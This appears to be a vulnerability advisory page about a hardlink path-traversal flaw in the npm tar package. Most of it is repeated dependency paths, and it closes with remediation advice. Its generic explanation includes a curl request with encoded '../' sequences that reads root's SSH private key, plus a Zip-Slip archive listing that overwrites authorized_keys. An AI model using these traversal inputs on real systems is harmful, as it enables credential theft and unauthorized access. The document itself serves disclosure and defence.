  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack exploitable via stripAbsolutePath(), used by the Unpack class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose linkpath uses a drive-relative path such as C:../target.txt in a malicious tar.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
        2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.10 or higher.

References

More about this vulnerability

Symlink Attack

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /usr/local/lib/node_modules
  • Package Manager: npm
  • Vulnerable module: tar
  • Introduced through: lib@*, npm@10.8.2 and others

Detailed paths

  • Introduced through: lib@* › npm@10.8.2 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmaccess@8.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmhook@10.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmorg@6.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmsearch@7.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmteam@6.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › npm-profile@10.0.0 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
